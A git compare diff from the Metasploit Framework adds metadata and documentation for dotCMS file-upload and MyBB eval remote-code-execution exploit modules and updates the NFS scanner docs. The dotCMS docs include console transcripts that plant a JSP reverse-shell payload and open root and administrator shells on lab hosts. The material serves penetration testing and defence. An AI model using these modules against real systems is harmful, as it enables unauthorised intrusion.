Compare commits
35 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 8ccc1ebf91 | |||
| 6942e0ca0e | |||
| 474116d413 | |||
| 44a22ab720 | |||
| f036950ea1 | |||
| 6d3ccab1be | |||
| 97caca4f6e | |||
| 87e7e5c813 | |||
| bea4207c62 | |||
| 3261cd1ee3 | |||
| dac355d9cf | |||
| 2c02a607ee | |||
| c6936bd42f | |||
| b996f5ee49 | |||
| 627605cf82 | |||
| b8cebe0dbe | |||
| b464f97c5e | |||
| a98f9a69c4 | |||
| 0c481ed9c9 | |||
| 1e5f86703f | |||
| 862c6a94a2 | |||
| 7b75bd6e27 | |||
| a1613d6070 | |||
| 17a37a9d4d | |||
| 9d9d81a855 | |||
| bac9be956f | |||
| 1f304ef2c4 | |||
| 3afb9b2ffe | |||
| 4f4287eb6b | |||
| 6f6e7718dd | |||
| 978dfe9b74 | |||
| 90937e6daa | |||
| 3b5719ec88 | |||
| 44ab99c89f | |||
| 87a21bd117 |
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.0)
|
||||
metasploit-framework (6.2.1)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
|
||||
+10
-10
@@ -10,14 +10,14 @@ afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.587.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.130.2, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.314.0, "Apache 2.0"
|
||||
aws-partitions, 1.588.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.131.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.315.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.68.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.56.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.57.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.114.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.0, "Apache 2.0"
|
||||
bcrypt, 3.1.17, MIT
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.10, ruby
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
@@ -41,7 +41,7 @@ erubi, 1.10.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 2.20.0, MIT
|
||||
faker, 2.21.0, MIT
|
||||
faraday, 1.10.0, MIT
|
||||
faraday-em_http, 1.0.0, MIT
|
||||
faraday-em_synchrony, 1.0.0, MIT
|
||||
@@ -70,7 +70,7 @@ io-console, 0.5.11, "ruby, Simplified BSD"
|
||||
irb, 1.3.6, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.1, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.1, ruby
|
||||
json, 2.6.2, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.0, MIT
|
||||
loofah, 2.18.0, MIT
|
||||
@@ -78,7 +78,7 @@ memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.7, "New BSD"
|
||||
metasploit-framework, 6.1.44, "New BSD"
|
||||
metasploit-framework, 6.2.1, "New BSD"
|
||||
metasploit-model, 4.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.87, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
@@ -158,13 +158,13 @@ rspec-rails, 5.1.2, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.11.0, MIT
|
||||
rubocop, 1.29.1, MIT
|
||||
rubocop-ast, 1.17.0, MIT
|
||||
rubocop-ast, 1.18.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.1.2, "New BSD"
|
||||
ruby_smb, 3.1.3, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
|
||||
@@ -16681,7 +16681,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-11-11 11:37:55 +0000",
|
||||
"mod_time": "2022-05-06 00:22:52 +0000",
|
||||
"path": "/modules/auxiliary/gather/billquick_txtid_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/billquick_txtid_sqli",
|
||||
@@ -39835,7 +39835,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-05-30 13:03:03 +0000",
|
||||
"path": "/modules/auxiliary/scanner/nfs/nfsmount.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/nfs/nfsmount",
|
||||
@@ -81913,6 +81913,69 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/dotcms_file_upload_rce": {
|
||||
"name": "DotCMS RCE via Arbitrary File Upload.",
|
||||
"fullname": "exploit/multi/http/dotcms_file_upload_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-05-03",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Shubham Shah",
|
||||
"Hussein Daher",
|
||||
"jheysel-r7"
|
||||
],
|
||||
"description": "When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the\n file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename\n passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a\n specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get\n written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special\n .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.",
|
||||
"references": [
|
||||
"CVE-2022-26352",
|
||||
"URL-https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/"
|
||||
],
|
||||
"platform": "Linux,Windows",
|
||||
"arch": "",
|
||||
"rport": 8443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Java Linux",
|
||||
"Java Windows"
|
||||
],
|
||||
"mod_time": "2022-06-01 10:54:02 +0000",
|
||||
"path": "/modules/exploits/multi/http/dotcms_file_upload_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/dotcms_file_upload_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/drupal_drupageddon": {
|
||||
"name": "Drupal HTTP Parameter Key/Value SQL Injection",
|
||||
"fullname": "exploit/multi/http/drupal_drupageddon",
|
||||
@@ -85958,6 +86021,74 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/mybb_rce_cve_2022_24734": {
|
||||
"name": "MyBB Admin Control Code Injection RCE",
|
||||
"fullname": "exploit/multi/http/mybb_rce_cve_2022_24734",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-03-09",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Cillian Collins",
|
||||
"Altelus",
|
||||
"Christophe De La Fuente"
|
||||
],
|
||||
"description": "This exploit module leverages an improper input validation\n vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in\n the context of the user running the application.\n\n MyBB Admin Control setting page calls PHP `eval` function with an\n unsanitized user input. The exploit adds a new setting, injecting the\n payload in the vulnerable field, and triggers its execution with a\n second request. Finally, it takes care of cleaning up and removes the\n setting.\n\n Note that authentication is required for this exploit to work and the\n account must have rights to add or update settings (typically, myBB\n administrator role).",
|
||||
"references": [
|
||||
"URL-https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f",
|
||||
"URL-https://www.zerodayinitiative.com/advisories/ZDI-22-503/",
|
||||
"URL-https://github.com/Altelus1/CVE-2022-24734",
|
||||
"CVE-2022-24734"
|
||||
],
|
||||
"platform": "Linux,PHP,Unix,Windows",
|
||||
"arch": "php, cmd, x86, x64",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"PHP",
|
||||
"Unix (In-Memory)",
|
||||
"Linux (Dropper)",
|
||||
"Windows (In-Memory)",
|
||||
"Windows (Dropper)"
|
||||
],
|
||||
"mod_time": "2022-05-30 16:24:18 +0000",
|
||||
"path": "/modules/exploits/multi/http/mybb_rce_cve_2022_24734.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/mybb_rce_cve_2022_24734",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/nas4free_php_exec": {
|
||||
"name": "NAS4Free Arbitrary Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/nas4free_php_exec",
|
||||
@@ -202118,7 +202249,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-22 10:24:25 +0000",
|
||||
"mod_time": "2022-05-27 10:21:59 +0000",
|
||||
"path": "/modules/post/multi/manage/shell_to_meterpreter.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/manage/shell_to_meterpreter",
|
||||
|
||||
@@ -1,65 +1,102 @@
|
||||
## Vulnerable Application
|
||||
|
||||
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version. Installation instructions for NFS can be found for every operating system.
|
||||
The [Ubuntu 14.04](https://help.ubuntu.com/14.04/serverguide/network-file-system.html) instructions can be used as an example for installing and configuring NFS. The
|
||||
NFS is very common, and this scanner searches for a mis-configuration, not a vulnerable software version.
|
||||
Installation instructions for NFS can be found for every operating system.
|
||||
The [Ubuntu](https://ubuntu.com/server/docs/service-nfs)
|
||||
instructions can be used as an example for installing and configuring NFS. The
|
||||
following was done on Kali linux:
|
||||
|
||||
1. `apt-get install nfs-kernel-server`
|
||||
2. Create 2 folders to share:
|
||||
```
|
||||
mkdir /tmp/open_share
|
||||
mkdir /tmp/closed_share
|
||||
```
|
||||
3. Add them to the list of shares:
|
||||
```
|
||||
echo "/tmp/closed_share 10.1.2.3(ro,sync,no_root_squash)" >> /etc/exports
|
||||
echo "/tmp/open_share *(rw,sync,no_root_squash)" >> /etc/exports
|
||||
```
|
||||
4. Restart the service: `service nfs-kernel-server restart`
|
||||
|
||||
In this scenario, `closed_share` is set to read only, and only mountable by the IP 10.1.2.3. `open_share` is mountable by anyone (`*`) in read/write mode.
|
||||
1. `apt-get install nfs-kernel-server`
|
||||
2. Create folders to share and add them to exports (adjust 192.168.1.x as needed):
|
||||
```
|
||||
mkdir /tmp/star
|
||||
echo "/tmp/star *(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/not_us_hostname
|
||||
echo "/tmp/not_us_hostname foo(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/us_hostname
|
||||
echo "/tmp/us_hostname bar(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/not_us_ip
|
||||
echo "/tmp/not_us_ip 1.1.1.1(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/us_ip
|
||||
echo "/tmp/us_ip 192.168.1.111(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/not_us_subnet
|
||||
echo "/tmp/not_us_subnet 1.1.1.1/24(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/us_subnet
|
||||
echo "/tmp/us_subnet 192.168.1.1/24(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/not_us_netmask
|
||||
echo "/tmp/not_us_netmask 1.1.1.1/255.255.255.0(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/us_netmask
|
||||
echo "/tmp/us_netmask 192.168.1.1/255.255.255.0(rw,no_subtree_check)" >> /etc/exports
|
||||
mkdir /tmp/empty
|
||||
echo "/tmp/empty (rw,no_subtree_check)" >> /etc/exports
|
||||
```
|
||||
3. Restart the service: `service nfs-kernel-server restart`
|
||||
|
||||
## Options
|
||||
|
||||
### PROTOCOL
|
||||
Which networking protocol to use. Options are `udp` and `tcp`. Defaults to `udp`.
|
||||
|
||||
### LHOST
|
||||
IP to match shares against if `Mountable` is true. Defaults to the detected local IP address.
|
||||
|
||||
### HOSTNAME
|
||||
Hostname to match shares against if `Mountable` is true. Defaults to `` (empty string)
|
||||
|
||||
## Advanced Options
|
||||
|
||||
### Mountable
|
||||
|
||||
Determine if an export is mountable based on `LHOST` and `HOSTNAME`. Defaults to `true`. Pre 2022 behavior was `false`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure NFS
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/nfs/nfsmount`
|
||||
4. Do: `run`
|
||||
1. Install and configure NFS
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/nfs/nfsmount`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/nfs/nfsmount
|
||||
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(nfsmount) > run
|
||||
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/open_share [*]
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/closed_share [10.1.2.3]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
|
||||
|
||||
```
|
||||
[*] Scanned 24 of 240 hosts (10% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
|
||||
[*] Scanned 48 of 240 hosts (20% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
|
||||
[*] Scanned 72 of 240 hosts (30% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
|
||||
[*] Scanned 96 of 240 hosts (40% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /common []
|
||||
```
|
||||
```
|
||||
msf > use auxiliary/scanner/nfs/nfsmount
|
||||
msf auxiliary(nfsmount) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(nfsmount) > run
|
||||
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/empty [*]
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/star [*]
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_netmask [10.1.1.1/255.255.255.0]
|
||||
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_netmask [1.1.1.1/255.255.255.0]
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_subnet [10.1.1.1/24]
|
||||
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_subnet [1.1.1.1/24]
|
||||
[+] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/us_ip [192.168.1.111]
|
||||
[*] 127.0.0.1:111 - 127.0.0.1 NFS Export: /tmp/not_us_ip [1.1.1.1]
|
||||
[*] 127.0.0.1:111 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Another example can be found at this [source](http://bitvijays.github.io/blog/2016/03/03/learning-from-the-field-basic-network-hygiene/):
|
||||
|
||||
```
|
||||
[*] Scanned 24 of 240 hosts (10% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /data/iso [0.0.0.0/0.0.0.0]
|
||||
[*] Scanned 48 of 240 hosts (20% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Public [*]
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Download [*]
|
||||
[+] 10.10.xx.xx NFS Export: /DataVolume/Softshare [*]
|
||||
[*] Scanned 72 of 240 hosts (30% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /var/ftp/pub [10.0.0.0/255.255.255.0]
|
||||
[*] Scanned 96 of 240 hosts (40% complete)
|
||||
[+] 10.10.xx.xx NFS Export: /common []
|
||||
```
|
||||
|
||||
## Confirming
|
||||
|
||||
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to verify this configuration issue.
|
||||
Since NFS has been around since 1989, with modern NFS(v4) being released in 2000, there are many tools which can also be used to
|
||||
verify this configuration issue.
|
||||
The following are other industry tools which can also be used.
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/nfs-showmount.html)
|
||||
@@ -73,8 +110,14 @@ Host is up (0.000037s latency).
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
| nfs-showmount:
|
||||
| /tmp/open_share *
|
||||
|_ /tmp/closed_share 10.1.2.3
|
||||
| /tmp/empty *
|
||||
| /tmp/star *
|
||||
| /tmp/us_netmask 10.1.1.1/255.255.255.0
|
||||
| /tmp/not_us_netmask 1.1.1.1/255.255.255.0
|
||||
| /tmp/us_subnet 10.1.1.1/24
|
||||
| /tmp/not_us_subnet 1.1.1.1/24
|
||||
| /tmp/us_ip 192.168.1.111
|
||||
|_ /tmp/not_us_ip 1.1.1.1
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
|
||||
```
|
||||
@@ -86,14 +129,21 @@ showmount is a part of the `nfs-common` package for debian.
|
||||
```
|
||||
showmount -e 127.0.0.1
|
||||
Export list for 127.0.0.1:
|
||||
/tmp/open_share *
|
||||
/tmp/closed_share 10.1.2.3
|
||||
/tmp/empty *
|
||||
/tmp/star *
|
||||
/tmp/us_netmask 10.1.1.1/255.255.255.0
|
||||
/tmp/not_us_netmask 1.1.1.1/255.255.255.0
|
||||
/tmp/us_subnet 10.1.1.1/24
|
||||
/tmp/not_us_subnet 1.1.1.1/24
|
||||
/tmp/us_ip 192.168.1.111
|
||||
/tmp/not_us_ip 1.1.1.1
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
Exploiting this mis-configuration is trivial, however exploitation doesn't necessarily give access (command execution) to the system.
|
||||
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS), or it is open (*), mounting is trivial.
|
||||
If a share is mountable, ie you either are the IP listed in the filter (or could assume it through a DoS),
|
||||
or it is open (*), mounting is trivial.
|
||||
The following instructions were written for Kali linux.
|
||||
|
||||
1. Create a new directory to mount the remote volume to: `mkdir /mnt/remote`
|
||||
|
||||
@@ -0,0 +1,186 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
This module exploits an arbitrary file upload vulnerability in dotCMS versions before 22.03, 5.3.8.10, 21.06.7 in each
|
||||
respective stream. The module uploads a jsp payload to the tomcat ROOT directory and accesses it to trigger its execution.
|
||||
|
||||
### Clone and build a vulnerable version of dotCMS:
|
||||
This requires Java 1.8 to be installed and JAVA_HOME to be set (see below for per OS instructions).
|
||||
1. `git clone https://github.com/dotCMS/core.git`
|
||||
1. `cd core`
|
||||
1. `git checkout 7d604e5 (this is vulnerable version 21.06)`
|
||||
1. `cd dotCMS/`
|
||||
1. `./gradlew createDist`
|
||||
```
|
||||
Starting a Gradle Daemon (subsequent builds will be faster)
|
||||
|
||||
<output truncated>
|
||||
|
||||
BUILD SUCCESSFUL in 12m 53s
|
||||
21 actionable tasks: 19 executed, 2 up-to-date
|
||||
```
|
||||
|
||||
If the build was successful you should now have a vulnerable 21.06 linux and windows instance:
|
||||
```
|
||||
msfuser@ubuntu:~/core/dotCMS$ ls -l ../dist-output/
|
||||
total 811132
|
||||
-rw-rw-r-- 1 msfuser msfuser 413134562 May 20 10:22 dotcms_21.06.tar.gz
|
||||
-rw-rw-r-- 1 msfuser msfuser 417462181 May 20 10:24 dotcms_21.06.zip
|
||||
```
|
||||
|
||||
Inside each of the above compressed directories exists a directory `dotserver` which contains the vulnerable app.
|
||||
|
||||
### Ubuntu 20.04 install
|
||||
|
||||
#### Install JAVA 1.8
|
||||
|
||||
1. `export JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"`
|
||||
1. `export PATH=$JAVA_HOME/bin:$PATH`
|
||||
1. `sudo apt-get install openjdk-8-jdk`
|
||||
|
||||
#### Install Postgres
|
||||
|
||||
1. `sudo apt install postgresql -y`
|
||||
1. `sudo -u postgres psql`
|
||||
1. Change the default database, username and password from `dotcms` to `postgres` (or create the db and user `dotcms`).
|
||||
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties`
|
||||
```
|
||||
##Postgres default configuration
|
||||
driverClassName=org.postgresql.Driver
|
||||
jdbcUrl=jdbc:postgresql://localhost/postgres
|
||||
username=postgres
|
||||
password=postgres
|
||||
```
|
||||
|
||||
#### Install Elastic Search
|
||||
|
||||
1. `sudo apt install apt-transport-https ca-certificates wget`
|
||||
1. `wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -`
|
||||
1. `sudo sh -c 'echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" > /etc/apt/sources.list.d/elastic-7.x.list'`
|
||||
1. `sudo apt update`
|
||||
1. `sudo apt install elasticsearch`
|
||||
1. `sudo systemctl daemon-reload `
|
||||
1. `sudo systemctl enable elasticsearch.service`
|
||||
1. `sudo systemctl start elasticsearch.service`
|
||||
1. `sudo systemctl status elasticsearch.service`
|
||||
1. Edit `dotcms-config-cluster.properties` to ensure the following properties are set:
|
||||
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/dotcms-config-cluster.properties`
|
||||
```
|
||||
ES_ENDPOINTS=http://localhost:9200
|
||||
|
||||
ES_PROTOCOL=http
|
||||
ES_HOSTNAME=localhost
|
||||
ES_PORT=9200
|
||||
|
||||
ES_TLS_ENABLED=false
|
||||
```
|
||||
|
||||
#### Run dotCMS
|
||||
|
||||
1. `cd dotserver/tomcat-9.0.41/bin/`
|
||||
1. `chmod 755 *.sh`
|
||||
1. `catalina.sh run`
|
||||
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
|
||||
|
||||
### Windows 10 install
|
||||
|
||||
#### Install Java 1.8
|
||||
|
||||
1. Download and follow wizard to install:
|
||||
https://www.oracle.com/java/technologies/downloads/#license-lightbox
|
||||
|
||||
#### Install Elasticsearch 8.2.0
|
||||
|
||||
Download and follow wizard to install:
|
||||
https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.2.0-windows-x86_64.zip dotcms-config-cluster.properties
|
||||
1. Ensure dotcms-config-cluster.properties contains the same properties as specified above
|
||||
|
||||
#### Install Postgres 10.21
|
||||
|
||||
1. Download and follow wizard to install:
|
||||
https://www.enterprisedb.com/postgresql-tutorial-resources-training?uuid=ea5c8104-3940-4ed1-b427-81cf19781581&campaignId=70138000000rYFmAAM
|
||||
1. Ensure db.properties contains the same properties as specified above
|
||||
|
||||
#### Run dotCMS
|
||||
|
||||
1. `cd dotserver\tomcat-9.0.41\bin\`
|
||||
1. `catalina.bat run`
|
||||
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`
|
||||
|
||||
## Verification Steps
|
||||
1. `use multi/http/dotcms_file_upload_rce`
|
||||
2. `set RHOSTS [ips]`
|
||||
3. `set LHOST [ips]`
|
||||
4. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 20.04 dotCMS 21.06:
|
||||
```
|
||||
msf6 > use exploit/multi/http/dotcms_file_upload_rce
|
||||
[*] Using configured payload java/jsp_shell_reverse_tcp
|
||||
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227
|
||||
rhosts => 172.16.199.227
|
||||
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
|
||||
lhost => 172.16.199.1
|
||||
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Writing JSP payload
|
||||
[+] Successfully wrote JSP payload
|
||||
[*] Executing JSP payload
|
||||
[+] Successfully executed JSP payload
|
||||
[+] Deleted ../webapps/ROOT/XZhKXIssjD.jsp
|
||||
[+] Deleted ../webapps/ROOT/M4NYE9Kb.jsp
|
||||
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.227:39610) at 2022-05-20 15:01:25 -0400
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux ubuntu 5.13.0-41-generic #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
### Windows 10 dotCMS 21.06:
|
||||
```
|
||||
msf6 > use dotcms_file_upload_rce
|
||||
[*] Using exploit/multi/http/dotcms_file_upload_rce
|
||||
msf6 exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231
|
||||
rhosts => 172.16.199.231
|
||||
msf6 exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
|
||||
lhost => 172.16.199.1
|
||||
msf6 exploit(multi/http/dotcms_file_upload_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.199.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[*] Writing JSP payload
|
||||
[+] Successfully wrote JSP payload
|
||||
[*] Executing JSP payload
|
||||
[+] Successfully executed JSP payload
|
||||
[!] Tried to delete ../webapps/ROOT/AkqMhxCZWr.jsp, unknown result
|
||||
[!] Tried to delete ../webapps/ROOT/xdPfn9JTdu33X.jsp, unknown result
|
||||
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.231:50016) at 2022-05-20 12:41:36 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.19042.1706]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
-----
|
||||
|
||||
|
||||
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>whoami
|
||||
whoami
|
||||
desktop-h1lncdm\administrator
|
||||
|
||||
C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>systeminfo
|
||||
systeminfo
|
||||
|
||||
Host Name: DESKTOP-H1LNCDM
|
||||
OS Name: Microsoft Windows 10 Pro
|
||||
OS Version: 10.0.19042 N/A Build 19042
|
||||
|
||||
<output truncated>
|
||||
```
|
||||
Note on windows the module reports an unknown result when trying to delete the files though it does successfully
|
||||
@@ -0,0 +1,356 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit module leverages an improper input validation vulnerability in
|
||||
MyBB prior to `1.8.30` to execute arbitrary code in the context of the user
|
||||
running the application.
|
||||
|
||||
MyBB Admin Control setting page calls PHP `eval` function with an unsanitized
|
||||
user input. The exploit adds a new setting, injecting the payload in the
|
||||
vulnerable field, and triggers its execution with a second request. Finally, it
|
||||
takes care of cleaning up and removes the setting.
|
||||
|
||||
Note that authentication is required for this exploit to work and the account
|
||||
must have rights to add or update settings (typically, myBB administrator
|
||||
role).
|
||||
|
||||
## Installation Steps
|
||||
|
||||
### Linux with Docker
|
||||
- Use this `docket-compose.yml` file (see [this](https://github.com/mybb/docker#-via-docker-stack-deploy-or-docker-compose)):
|
||||
```
|
||||
services:
|
||||
mybb:
|
||||
image: mybb/mybb:1.8.29
|
||||
